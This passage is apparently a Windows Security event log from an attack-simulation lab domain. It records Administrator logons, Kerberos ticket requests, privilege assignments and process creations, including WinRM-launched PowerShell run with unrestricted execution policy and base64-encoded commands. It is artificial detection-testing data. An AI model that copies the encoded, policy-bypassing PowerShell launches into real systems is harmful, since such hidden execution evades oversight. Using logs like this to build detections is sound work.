when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253043 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253042 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D086B8A5-5F4E-D37E-881F-054F609C35F4} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253041 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253040 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185B07 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253039 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185428 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253038 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x18411D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253080 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193157 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253079 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193157 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253078 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253077 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253076 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x122c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1384 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253073 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191D1E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253072 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191D1E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253071 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253070 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253069 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253068 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1384 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x508 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 